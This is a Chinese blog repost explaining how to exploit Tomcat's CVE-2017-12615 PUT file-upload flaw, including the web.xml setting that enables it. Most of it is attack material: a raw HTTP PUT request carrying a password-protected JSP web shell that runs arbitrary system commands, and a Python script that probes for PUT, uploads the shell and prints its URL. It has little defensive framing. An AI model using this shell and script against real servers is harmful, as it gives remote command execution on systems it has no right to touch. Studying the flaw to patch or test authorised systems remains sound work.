zoukankan      html  css  js  c++  java
  • Tomcat任意文件上传漏洞CVE-2017-12615

    文章来源:https://blog.csdn.net/qq1124794084/article/details/78044756

    漏洞影响的tomcat版本为tomcat7.0.0-7.0.81版本

    CVE-2017-12615漏洞利用需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。

    (另一个类似的漏洞CVE-2017-12616漏洞需要在server.xml文件配置VirtualDirContext参数,经过实际测试,Tomcat 7.x版本内默认配置无VirtualDirContext参数,需要手工添加,默认配置条件下不受此漏洞影响)

    以前遇到过很多未禁用不安全的HTTP方法的漏洞,但是都不知道怎么深入利用,终于这次遇到了。

    修改Tomcat 7.0/conf/web.xml文件。 添加readonly属性,使得readonly=false。(默认的readonly不为false)
    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

    使用burp发送put请求上传一句话木马,内容如下:

     

    PUT /123.jsp/ HTTP/1.1
    Host: 192.168.23.209:8080
    User-Agent:  JNTASS
    DNT:1
    Connection: close
    Content-Length: 664
     
    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
    +"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

     

     

    python脚本

    #! -*- coding:utf-8 -*-
    import httplib
    import sys
    import time
    body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
    +"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
    try:
        conn = httplib.HTTPConnection(sys.argv[1])
        conn.request(method='OPTIONS', url='/ffffzz')
        headers = dict(conn.getresponse().getheaders())
        if 'allow' in headers and
           headers['allow'].find('PUT') > 0 :
            conn.close()
            conn = httplib.HTTPConnection(sys.argv[1])
            url = "/" + str(int(time.time()))+'.jsp/'
            #url = "/" + str(int(time.time()))+'.jsp::$DATA'
            conn.request( method='PUT', url= url, body=body)
            res = conn.getresponse()
            if res.status  == 201 :
                #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
                print 'shell:', 'http://' + sys.argv[1] + url[:-1]
            elif res.status == 204 :
                print 'file exists'
            else:
                print 'error'
            conn.close()
        else:
            print 'Server not vulnerable'
            
    except Exception,e:
        print 'Error:', e

     

  • 相关阅读:
    yocto/bitbake 学习资源
    QEMU/KVM学习资源
    ubuntu 中创建和删除用户
    git 重命名本地和远程分支
    Ubuntu 上搭建 FTP 服务器
    gdb 常见用法
    git log 显示与特定文件相关的 commit 信息
    基于 qemu system mode 运行 arm 程序
    基于 qemu user mode 运行 aarch64 程序
    checking in(airport)
  • 原文地址:https://www.cnblogs.com/jinqi520/p/9366170.html
Copyright © 2011-2022 走看看